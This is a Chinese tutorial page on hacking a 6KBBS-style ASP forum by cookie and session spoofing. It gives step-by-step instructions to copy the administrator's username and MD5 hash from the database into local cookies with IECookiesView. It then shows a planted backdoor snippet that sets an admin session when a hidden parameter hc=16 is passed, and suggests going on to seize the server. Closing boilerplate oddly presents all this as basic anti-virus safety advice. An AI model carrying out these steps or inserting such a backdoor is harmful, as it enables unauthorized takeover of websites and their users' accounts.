三度网教程:是一个免费提供流行视频软件教程、在线学习分享的学习平台!

案例讲解Cookies欺骗与session欺骗入侵

时间:2023-4-1作者:未知来源:三度网教程人气:


随着网络的普及,我们的生活越来越方便,但是网络安全也成了很多人面临的一个问题。特别是那些有着商业数据的企业电脑,更要注意上网安全常识,不然病毒会对我们造成严重的威胁。

我们先来说下基础知识,免的一些菜鸟看不懂,有借鉴. cookies欺骗,就是在只对用户做cookies验证的系统中,通过修改cookies的内容来得到相应的用户权限登录。

那么什么是cookies呢,我这里给大家一个专业的解释,cookies是一个储存于浏览器目录中的文本文件,记录你访问一个特定站点的信息,且只 能被创建这个cookies的站点读回,约由255个字符组成,仅占4kb硬盘空间。当用户正在浏览某站点时,它储存于用户机的随机存取存储器ram中, 退出浏览器后,它储存于用户的硬盘中。储存在cookies中的大部分信息是普通的,如当你浏览一个站点时,此文件记录了每一次的击键信息和被访站点的地 址等。但是许多web站点使用cookies来储存针对私人的数据,如:注册口令、用户名、信用卡编号等。

什么是Session?当一个访问者来到你的网站的时候一个Session就开始了,当他离开的时候Session就结束了。本质是来说,cookie是和浏览器有关系,而Session变量就可以存一些资源变量在服务器上面。
正题: 我们先里看个实例,在6KBBS的login.asp找到113—124行,得到以下代码:

if
[url=javascript:][color=#949494]Copy code[/color][/url]
login=false then tl=" 登 陆 失 败" mes=mes&"

·返回重新填写" else response.cookies(divfix)("lgname")

=lgname session(divfix"lgname")=

lgname response.cookies(divfix)("lgpwd")=

lgpwd response.cookies(divfix)("lgtype")=

lgtype response.cookies(divfix)("lgcook")=

cook if cook>0 then response.cookies(divfix).expires=

date cook end if

我们来分析下,如果你登录失败了他就显示你登录失败并引导你返回上一页,否则就给你写进cookies里面,如果你的cookies有的话那么你的过期时 间就是你cookies的过期时间——也就是你保存cookies的时间了。 这时,我们想到的是如果里面的信息是admin的,那一不就成了以管理员登陆了吗? 首先,我们先去注册一个用户,然后登录,有个cookies保存的选项,一定要选哦。我选择是保存一个月,因为保存了才会再你本机上写进它的 cookies。接着,打开数据库,看admin表里面有什么东西,别的不管,你只要那个bd为16的那个人就行了。有可能没有,你可以到他们论坛去逛一 下,看管理员是谁,然后在数据库里面拿他的账号和加密的密码来欺骗。

打开iecookiesview,这款软件是拿来察看和修改本机的cookies的,很方便我们的cookies欺骗入侵。

在iecookiesview 里找到你要欺骗的那个网站,看到了吗?有你的用户名和md5加密的密码,我们吧这两项改为管理员的,就是把刚才数据库里面的管理员账号和md5加密的密码 代替你自己的。点击“更改cookies”,打开一个新的ie,然后再去访问那个论坛,看到没有?你现在已经是管理员了。

接着,麻烦的事出现了,后台登陆并不是以cookies来实现的,而是以session实现的 ,所以我们同样来欺骗session;

首先简单说一下一般asp系统的身份验证原理。 一般来说,后台管理员在登录页面输入账号密码后,程序会拿着他提交的用户名密码去数据库的管理员表里面找,如果有这个人的账号密码就认为你是管理员,然后 给你一个表示你身份的session值。或者程序先把你的用户名密码提取出来,然后到数据库的管理员表里面取出管理员的账号密码来和你提交的相比较,如果 相等,就跟上面一样给你个表示你身份的sesion值。然后你进入任何一个管理页面它都要首先验证你的session值,如果是管理员就让你通过,不是的 话就引导你回到登录页面。

找到manage/admin.asp,发现验证内容为:

[url=javascript:][color=#949494]Copy code[/color][/url]
...
else
rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR")
rs("LastLoginTime")=now()
rs("LoginTimes")=rs("LoginTimes") 1
rs.update
session.Timeout=SessionTimeout
session("AdminName")=rs("username")
rs.close
set rs=nothing
call CloseConn()
Response.Redirect "Admin_Index.asp" 很容易就知道如果没有获得验证就会出现两个session值:
[url=javascript:][color=#949494]Copy code[/color][/url]
session.Timeout=SessionTimeout
session("AdminName")=rs("username") 试想如果我们以adminName的信息登陆就就ok了..接着用ASP木马编辑器来添加代码如下:

[url=javascript:][color=#949494]Copy code[/color][/url]
dim id
id=trim(request("hc"))
if id="16" then
session("AdminName")="admin"
end if 分析上段代码,有个不定值--admin,可以根据实际情况来设置,不一定是admin;可以在一些不常去的页面来登陆, 如:FriendSite.asp?hc=16返回时页面没有出现异样,这就行了,然后再次登陆manage/admin.asp,你会发现,你已经进入 后台了。然后可以提权得弄服务器了。


上面是电脑上网安全的一些基础常识,学习了安全知识,几乎可以让你免费电脑中毒的烦扰。

关键词:  案例讲解Cookies欺骗与session欺骗入侵





Copyright © 2012-2018 三度网教程(http://www.3du8.cn) .All Rights Reserved 网站地图 友情链接

免责声明:本站资源均来自互联网收集 如有侵犯到您利益的地方请及时联系管理删除,敬请见谅!

QQ:1006262270   邮箱:kfyvi376850063@126.com   手机版